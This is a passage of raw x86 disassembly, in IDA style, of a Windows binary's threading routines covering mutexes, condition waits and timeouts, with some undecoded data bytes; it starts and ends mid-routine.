pop ebx retn ; --------------------------------------------------------------------------- loc_430241: ; CODE XREF: ___:004301F9j ; ___:00430201j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430270 proc near ; CODE XREF: sub_4012E4j mov eax, dword_50E3E8 push esi push edi push eax call sub_401190 sub_430270 endp ; --------------------------------------------------------------------------- db 8Bh, 0F0h, 83h dd 0F68504C4h, 88E87675h, 8BFFFD18h, 74F685F0h, 7C7E8B5Bh dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 2310980h, 0F8701D8Bh dd 26A0050h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 0EAE89050h dd 50023407h, 0E850D3FFh, 231FD34h, 5BC08590h, 0E8560E75h dd 0FFFD18E5h, 3304C483h, 0C35E5FC0h, 0E8510F8Bh, 23203E9h dd 28468990h, 0E3E8158Bh, 52560050h, 0FD1DE2E8h, 8C483FFh dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_430340 proc near ; CODE XREF: sub_401A50j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jnz short loc_43035E test eax, eax jz short loc_430358 mov eax, [eax] mov edx, [ecx] cmp eax, edx jnz short loc_43035E loc_430358: ; CODE XREF: sub_430340+Ej mov eax, 1 retn ; --------------------------------------------------------------------------- loc_43035E: ; CODE XREF: sub_430340+Aj ; sub_430340+16j xor eax, eax retn sub_430340 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430380: ; CODE XREF: ___:00401FF0j mov eax, [esp+4] test eax, eax jge short loc_43038E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43038E: ; CODE XREF: ___:00430386j mov dword_50E3F8, eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4303B0: ; CODE XREF: ___:0040155Aj mov eax, dword_50E3F8 retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4303D0 proc near ; CODE XREF: sub_401B13j push esi call sub_401307 mov esi, eax test esi, esi jnz short loc_4303F2 push 84h push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jz short loc_430439 loc_4303F2: ; CODE XREF: sub_4303D0+Aj push 0 push 0 or eax, 0FFFFFFFFh push 1 push 0 mov dword ptr [esi+28h], 0 mov dword ptr [esi+20h], 0 mov dword ptr [esi+30h], 0 mov dword ptr [esi+34h], 1 mov [esi+2Ch], eax mov [esi+24h], eax nop call near ptr 27408CDh test eax, eax mov [esi+38h], eax jnz short loc_430439 push esi call sub_401BBD add esp, 4 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_430439: ; CODE XREF: sub_4303D0+20j ; sub_4303D0+5Aj mov eax, esi pop esi retn sub_4303D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430460 proc near ; CODE XREF: sub_401307j push esi push offset dword_50E900 nop call near ptr 7C901005h mov esi, dword_44574C cmp esi, 1 jz short loc_430495 mov eax, [esi+8] push offset dword_50E900 mov dword_44574C, eax mov dword ptr [esi+8], 0 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430495: ; CODE XREF: sub_430460+15j push offset dword_50E900 xor esi, esi nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_430460 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4304D0 proc near ; CODE XREF: sub_401BBDj arg_0 = dword ptr 4 push edi push offset dword_50E900 nop call near ptr 7C901005h mov edx, [esp+4+arg_0] mov ecx, 21h xor eax, eax mov edi, edx rep stosd mov eax, dword_44574C push offset dword_50E900 mov [edx+8], eax mov dword_44574C, edx nop call near ptr 7C9010EDh pop edi retn sub_4304D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430520 proc near ; CODE XREF: sub_401640j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0FFFFFFFFh push eax call sub_430540 sub_430520 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430540 proc near ; CODE XREF: sub_430520+7p ; sub_430660+Ap var_8 = dword ptr -8 arg_0 = dword ptr 4 sub esp, 8 mov eax, [esp+8+arg_0] push esi push edi mov edi, 1 mov [esp+10h+var_8], eax call sub_4012E4 sub_430540 endp ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jz short loc_430576 mov eax, [esi+30h] test eax, eax jnz short loc_43057E mov eax, [esi+38h] test eax, eax mov [esp+0Ch], eax jz short loc_43057E mov edi, 2 jmp short loc_43057E ; --------------------------------------------------------------------------- loc_430576: ; CODE XREF: ___:0043055Bj mov dword ptr [esp+0Ch], 0 loc_43057E: ; CODE XREF: ___:00430562j ; ___:0043056Dj ... mov ecx, [esp+18h] lea edx, [esp+8] push ecx push 0 push edx push edi nop call near ptr 274070Fh mov ecx, eax sub ecx, 0 jz short loc_430609 dec ecx jz short loc_4305B4 sub eax, 102h pop edi neg eax sbb eax, eax pop esi and eax, 0FFFFD8CAh add eax, 274Ch add esp, 8 retn ; --------------------------------------------------------------------------- loc_4305B4: ; CODE XREF: ___:00430599j mov eax, [esp+0Ch] push eax nop call near ptr 2760845h test esi, esi jz short loc_4305FE lea edi, [esi+2Ch] push edi call sub_402225 mov ecx, [esi+0Ch] mov eax, 3 add esp, 4 cmp ecx, eax jge short loc_4305F5 push edi mov [esi+0Ch], eax mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DD4 ; --------------------------------------------------------------------------- add esp, 8 loc_4305F5: ; CODE XREF: ___:004305D9j push edi call sub_4010C3 add esp, 4 loc_4305FE: ; CODE XREF: ___:004305C1j pop edi mov eax, 16h pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_430609: ; CODE XREF: ___:00430596j pop edi xor eax, eax pop esi add esp, 8 retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430660 proc near ; CODE XREF: sub_401D70j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_430540 sub_430660 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430690 proc near ; CODE XREF: sub_401C03j arg_0 = dword ptr 4 push esi push offset dword_50E960 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_4306C4 push esi push ecx call sub_402199 add esp, 8 mov esi, eax push offset dword_50E960 call near ptr 7C9010EDh nop mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4306C4: ; CODE XREF: sub_430690+17j test eax, eax jnz short loc_4306CD mov esi, 16h loc_4306CD: ; CODE XREF: sub_430690+36j push offset dword_50E960 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_430690 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430700 proc near ; CODE XREF: sub_402199j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebp xor ebp, ebp push edi test eax, eax jnz short loc_430714 pop edi mov eax, 16h pop ebp retn ; --------------------------------------------------------------------------- loc_430714: ; CODE XREF: sub_430700+Aj mov edi, [esp+8+arg_4] test edi, edi jz short loc_43072F mov eax, [edi] test eax, eax jz short loc_43072F cmp dword ptr [eax], 1 jnz short loc_43072F pop edi mov eax, 28h pop ebp retn ; --------------------------------------------------------------------------- loc_43072F: ; CODE XREF: sub_430700+1Aj ; sub_430700+20j ... push esi push 2Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_430754 mov edx, [esp+0Ch+arg_0] mov ebp, 0Ch mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_430754: ; CODE XREF: sub_430700+41j test edi, edi mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0 jz short loc_430770 mov edi, [edi] test edi, edi jz short loc_430770 mov edi, [edi+4] jmp short loc_430772 ; --------------------------------------------------------------------------- loc_430770: ; CODE XREF: sub_430700+63j ; sub_430700+69j xor edi, edi loc_430772: ; CODE XREF: sub_430700+6Ej push 0 lea eax, [esi+10h] push 0 push eax mov [esi+8], edi mov dword ptr [esi+0Ch], 0 call sub_401C76 add esp, 0Ch test eax, eax jz short loc_4307AD push esi mov ebp, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_4307AD: ; CODE XREF: sub_430700+8Ej lea ecx, [esi+14h] push ecx call near ptr 277073Bh nop mov edx, [esp+0Ch+arg_0] mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn sub_430700 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430810 proc near ; CODE XREF: sub_40222Fj arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi test edi, edi jz loc_4308F0 mov eax, [edi] test eax, eax jz loc_4308F0 cmp eax, 0FFFFFFFFh jz loc_4308B5 mov [esp+8+arg_0], eax lea eax, [esp+8+arg_0] push eax call sub_40177B mov esi, eax add esp, 4 test esi, esi jnz loc_4308EB mov ecx, [esp+8+arg_0] mov eax, [ecx+4] cmp eax, 1 jnz short loc_4308A7 lea ecx, [esp+8+arg_0] mov [edi], esi push ecx call sub_4010C3 mov edx, [esp+0Ch+arg_0] mov esi, eax add esp, 4 test esi, esi jnz short loc_4308A0 add edx, 10h push edx call sub_401686 mov eax, [esp+0Ch+arg_0] add esp, 4 add eax, 14h push eax nop call near ptr 2770000h mov ecx, [esp+8+arg_0] push ecx call near ptr 77C2C21Bh nop add esp, 4 mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308A0: ; CODE XREF: sub_430810+61j mov [edi], edx mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308A7: ; CODE XREF: sub_430810+48j dec eax mov esi, 10h mov [ecx+4], eax mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308B5: ; CODE XREF: sub_430810+1Dj push offset dword_50E960 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_4308DB push offset dword_50E960 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308DB: ; CODE XREF: sub_430810+B3j push offset dword_50E960 mov esi, 10h nop call near ptr 7C9010EDh loc_4308EB: ; CODE XREF: sub_430810+38j mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308F0: ; CODE XREF: sub_430810+Aj ; sub_430810+14j pop edi mov eax, 16h pop esi retn sub_430810 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430940 proc near ; CODE XREF: sub_401A0Fj arg_0 = dword ptr 4 push esi push 8 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 cmp eax, esi jnz short loc_430963 mov edx, [esp+4+arg_0] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_430963: ; CODE XREF: sub_430940+12j mov ecx, [esp+4+arg_0] mov [eax], esi mov [eax+4], esi mov [ecx], eax mov eax, esi pop esi retn sub_430940 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430990 proc near ; CODE XREF: sub_4010AAj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi test ecx, ecx jz short loc_4309B1 mov eax, [ecx] test eax, eax jz short loc_4309B1 push eax mov [ecx], esi call near ptr 77C2C21Bh nop add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4309B1: ; CODE XREF: sub_430990+9j ; sub_430990+Fj mov eax, 16h pop esi retn sub_430990 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4309D0: ; CODE XREF: ___:00401BA9j mov eax, [esp+4] test eax, eax jz short loc_4309ED mov eax, [eax] test eax, eax jz short loc_4309ED mov ecx, [esp+8] test ecx, ecx jz short loc_4309ED mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_4309ED: ; CODE XREF: ___:004309D6j ; ___:004309DCj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430A10: ; CODE XREF: ___:004018F7j mov eax, [esp+4] test eax, eax jz short loc_430A3A mov ecx, [eax] test ecx, ecx jz short loc_430A3A mov eax, [esp+8] cmp eax, 1 jz short loc_430A2E test eax, eax jnz short loc_430A3A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_430A2E: ; CODE XREF: ___:00430A25j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_430A3A: ; CODE XREF: ___:00430A16j ; ___:00430A1Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430A50 proc near ; CODE XREF: sub_40119Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_430A71 mov ecx, [ecx] test ecx, ecx jz short loc_430A71 mov edx, [esp+arg_4] test edx, edx jl short loc_430A71 cmp edx, 2 jg short loc_430A71 mov [ecx+4], edx retn ; --------------------------------------------------------------------------- loc_430A71: ; CODE XREF: sub_430A50+8j ; sub_430A50+Ej ... mov eax, 16h retn sub_430A50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430A90 proc near ; CODE XREF: sub_4018C0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_430AAE mov ecx, [ecx] test ecx, ecx jz short loc_430AAE mov edx, [esp+arg_4] test edx, edx jz short loc_430AAE mov ecx, [ecx+4] mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_430AAE: ; CODE XREF: sub_430A90+8j ; sub_430A90+Ej ... mov eax, 16h retn sub_430A90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430AD0 proc near ; CODE XREF: sub_402225j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz loc_430B87 mov eax, [esi] test eax, eax jz loc_430B87 cmp eax, 0FFFFFFFFh jnz short loc_430B01 push esi call sub_401C03 mov edi, eax add esp, 4 test edi, edi jz short loc_430B01 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B01: ; CODE XREF: sub_430AD0+1Dj ; sub_430AD0+2Cj mov esi, [esi] push esi nop call near ptr 2750639h test eax, eax jnz short loc_430B2A loc_430B0E: ; CODE XREF: sub_430AD0+A8j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_430B22 call sub_4012E4 ; --------------------------------------------------------------------------- loc_430B22: ; CODE XREF: sub_430AD0+4Bj mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B2A: ; CODE XREF: sub_430AD0+3Cj mov eax, [esi+8] test eax, eax jz short loc_430B6A call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFD0F10h, 8508C483h, 562374C0h, 0FEECE890h dd 7E830232h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h dd 24BFh, 5FC78B00h ; --------------------------------------------------------------------------- pop esi retn ; --------------------------------------------------------------------------- loc_430B6A: ; CODE XREF: sub_430AD0+5Fj lea ecx, [esi+10h] push ecx call sub_430BC0 add esp, 4 test eax, eax jz short loc_430B0E call near ptr 77C1F2BCh nop mov edi, [eax] mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B87: ; CODE XREF: sub_430AD0+Aj ; sub_430AD0+14j pop edi mov eax, 16h pop esi retn sub_430AD0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430BC0 proc near ; CODE XREF: sub_430AD0+9Ep arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_430BDA mov eax, [eax] push 0FFFFFFFFh mov ecx, [eax] push ecx call near ptr 2760661h nop test eax, eax jnz short loc_430BDA retn ; --------------------------------------------------------------------------- loc_430BDA: ; CODE XREF: sub_430BC0+6j ; sub_430BC0+17j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_430BC0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430C00 proc near ; CODE XREF: sub_401BC2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push esi mov esi, [esp+8+arg_0] xor ebp, ebp test esi, esi jz loc_430D98 mov eax, [esi] test eax, eax jz loc_430D98 cmp eax, 0FFFFFFFFh jnz short loc_430C31 push esi call sub_401C03 mov ebp, eax add esp, 4 test ebp, ebp jz short loc_430C31 pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430C31: ; CODE XREF: sub_430C00+1Dj ; sub_430C00+2Cj mov esi, [esi] push ebx push edi push esi nop call near ptr 2750639h test eax, eax jnz short loc_430C62 loc_430C40: ; CODE XREF: sub_430C00+175j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz loc_430D8E call sub_4012E4 ; --------------------------------------------------------------------------- pop edi mov [esi+0Ch], eax pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430C62: ; CODE XREF: sub_430C00+3Ej mov eax, [esi+8] test eax, eax jz short loc_430CA6 call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFD0DD8h, 8508C483h, 562774C0h, 0FDB4E890h dd 7E830232h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h dd 24BDC35Dh, 5F000000h, 5EC58B5Bh ; --------------------------------------------------------------------------- pop ebp retn ; --------------------------------------------------------------------------- loc_430CA6: ; CODE XREF: sub_430C00+67j mov eax, [esp+10h+arg_4] test eax, eax jnz short loc_430CBA mov ebp, 16h pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430CBA: ; CODE XREF: sub_430C00+ACj lea edi, [esi+10h] push eax push edi call sub_430E10 add esp, 8 sub eax, 0 jz loc_430D7A dec eax jz short loc_430D44 dec eax jz short loc_430CE5 nop call near ptr 77C1F2BCh mov ebp, [eax] pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430CE5: ; CODE XREF: sub_430C00+D4j lea ebx, [esi+14h] push ebx nop call near ptr 7C901005h push edi mov ebp, 274Ch call sub_4010A5 add esp, 4 cmp eax, 0FFFFFFFFh push esi jnz short loc_430D17 nop call near ptr 2760A3Ah push ebx nop call near ptr 7C9010EDh pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D17: ; CODE XREF: sub_430C00+101j nop call near ptr 2760A3Ah test eax, eax jl short loc_430D36 push edi call sub_40103C add esp, 4 test eax, eax jz short loc_430D36 call near ptr 77C1F2BCh nop mov ebp, [eax] loc_430D36: ; CODE XREF: sub_430C00+11Fj ; sub_430C00+12Cj push ebx call near ptr 7C9010EDh nop pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D44: ; CODE XREF: sub_430C00+D1j lea ebx, [esi+14h] push ebx nop call near ptr 7C901005h push edi call sub_4010A5 mov edi, eax add esp, 4 cmp edi, 0FFFFFFFFh jnz short loc_430D6A push esi nop call near ptr 2760A3Ah mov ebp, 274Ch loc_430D6A: ; CODE XREF: sub_430C00+15Cj push ebx call near ptr 7C9010EDh nop test edi, edi jnz short loc_430D91 jmp loc_430C40 ; --------------------------------------------------------------------------- loc_430D7A: ; CODE XREF: sub_430C00+CAj mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_430D8E call sub_4012E4 ; --------------------------------------------------------------------------- loc_430D8E: ; CODE XREF: sub_430C00+4Dj ; sub_430C00+187j mov [esi+0Ch], eax loc_430D91: ; CODE XREF: sub_430C00+173j pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D98: ; CODE XREF: sub_430C00+Aj ; sub_430C00+14j pop esi mov eax, 16h pop ebp retn sub_430C00 endp ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430E10 proc near ; CODE XREF: sub_430C00+BFp var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push esi push edi mov edi, [esp+14h+arg_0] test edi, edi jz loc_430EAE mov esi, [esp+14h+arg_4] test esi, esi jnz short loc_430E42 or eax, 0FFFFFFFFh loc_430E2C: ; CODE XREF: sub_430E10+7Fj push eax mov eax, [edi] mov ecx, [eax] push ecx call near ptr 2760661h nop test eax, eax jnz short loc_430E9C pop edi pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430E42: ; CODE XREF: sub_430E10+17j lea eax, [esp+14h+var_C] push eax nop call near ptr 77C49113h mov ecx, [esi+4] mov eax, 431BDE83h add ecx, 7A120h add esp, 4 mul ecx mov eax, [esi] mov ecx, [esp+14h+var_C] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] mov edx, [esp+14h+var_8] sub eax, ecx and edx, 0FFFFh sub eax, edx jns short loc_430E2C pop edi mov eax, 2 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430E9C: ; CODE XREF: sub_430E10+2Aj cmp eax, 102h jnz short loc_430EAE pop edi mov eax, 1 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430EAE: ; CODE XREF: sub_430E10+Bj ; sub_430E10+91j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi add esp, 0Ch retn sub_430E10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430F00 proc near ; CODE XREF: sub_4010C3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx xor ebx, ebx push esi cmp eax, ebx jz loc_430FA0 mov esi, [eax] cmp esi, ebx jz loc_430FA0 cmp esi, 0FFFFFFFFh push edi jz short loc_430F95 mov eax, [esi+0Ch] mov edi, 1 cmp eax, edi jz short loc_430F4A call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A50 add esp, 8 test eax, eax jnz short loc_430F4A mov ebx, edi pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430F4A: ; CODE XREF: sub_430F00+2Aj ; sub_430F00+40j cmp [esi+8], edi jnz short loc_430F58 mov eax, [esi+4] dec eax mov [esi+4], eax jnz short loc_430F9A loc_430F58: ; CODE XREF: sub_430F00+4Dj lea edi, [esi+14h] mov [esi+0Ch], ebx push edi nop call near ptr 7C901005h push esi call near ptr 2760A3Ah nop test eax, eax jl short loc_430F88 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_430F88 nop call near ptr 77C1F2BCh mov ebx, [eax] loc_430F88: ; CODE XREF: sub_430F00+6Ej ; sub_430F00+7Ej push edi nop call near ptr 7C9010EDh pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430F95: ; CODE XREF: sub_430F00+1Ej mov ebx, 16h loc_430F9A: ; CODE XREF: sub_430F00+56j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430FA0: ; CODE XREF: sub_430F00+Aj ; sub_430F00+14j pop esi mov eax, 16h pop ebx retn sub_430F00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430FE0 proc near ; CODE XREF: sub_40177Bj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz short loc_431065 mov eax, [esi] test eax, eax jz short loc_431065 cmp eax, 0FFFFFFFFh jnz short loc_431002 push esi call sub_401C03 add esp, 4 mov edi, eax loc_431002: ; CODE XREF: sub_430FE0+15j mov esi, [esi] test edi, edi jnz short loc_431060 push 0FFFFFFFFh push edi push esi call dword_50E3FC ; InterlockedCompareExchange cmp eax, 0FFFFFFFFh jnz short loc_431033 mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43102B call sub_4012E4 ; --------------------------------------------------------------------------- loc_43102B: ; CODE XREF: sub_430FE0+44j mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431033: ; CODE XREF: sub_430FE0+35j cmp dword ptr [esi+8], 1 jnz short loc_43105B call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A50 add esp, 8 test eax, eax jz short loc_43105B mov eax, [esi+4] inc eax mov [esi+4], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_43105B: ; CODE XREF: sub_430FE0+57j ; sub_430FE0+6Dj mov edi, 10h loc_431060: ; CODE XREF: sub_430FE0+26j mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431065: ; CODE XREF: sub_430FE0+Aj ; sub_430FE0+10j pop edi mov eax, 16h pop esi retn sub_430FE0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4310A0: ; CODE XREF: ___:0040192Ej mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_40119A add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4310D0: ; CODE XREF: ___:00401587j mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_4018C0 add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431100: ; CODE XREF: ___:0040148Dj mov eax, [esp+4] test eax, eax jz short loc_43110C mov eax, [eax+4] retn ; --------------------------------------------------------------------------- loc_43110C: ; CODE XREF: ___:00431106j xor eax, eax retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431120: ; CODE XREF: ___:00401BFEj mov eax, [esp+4] push esi test eax, eax push edi jnz short loc_431132 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_431132: ; CODE XREF: ___:00431128j mov esi, [eax] test esi, esi jnz short loc_431155 mov ecx, [eax+4] test ecx, ecx jnz short loc_431155 call sub_401CEE ; --------------------------------------------------------------------------- dd 0F19BE856h, 0E890023Fh, 0FFFD0B9Eh, 5EC0335Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_431155: ; CODE XREF: ___:00431136j ; ___:0043113Dj mov ecx, [eax+4] mov eax, 431BDE83h add ecx, 0F423Fh imul ecx sar edx, 12h mov eax, edx shr eax, 1Fh add edx, eax lea eax, [esi+esi*4] lea eax, [eax+eax*4] lea ecx, [eax+eax*4] lea edi, [edx+ecx*8] call sub_4012E4 ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jnz short loc_43118E pop edi mov eax, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_43118E: ; CODE XREF: ___:00431184j mov eax, [esi+30h] push edi test eax, eax jnz short loc_4311F6 mov edx, [esi+38h] push edx nop call near ptr 2760661h test eax, eax jnz short loc_4311E7 lea edi, [esi+2Ch] push edi call sub_402225 mov eax, [esi+0Ch] add esp, 4 cmp eax, 3 jge short loc_4311D6 push edi mov dword ptr [esi+0Ch], 3 mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DD4 ; --------------------------------------------------------------------------- add esp, 8 loc_4311D6: ; CODE XREF: ___:004311B6j push edi call sub_4010C3 add esp, 4 mov eax, 3 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4311E7: ; CODE XREF: ___:004311A2j cmp eax, 102h jz short loc_4311FC pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_4311F6: ; CODE XREF: 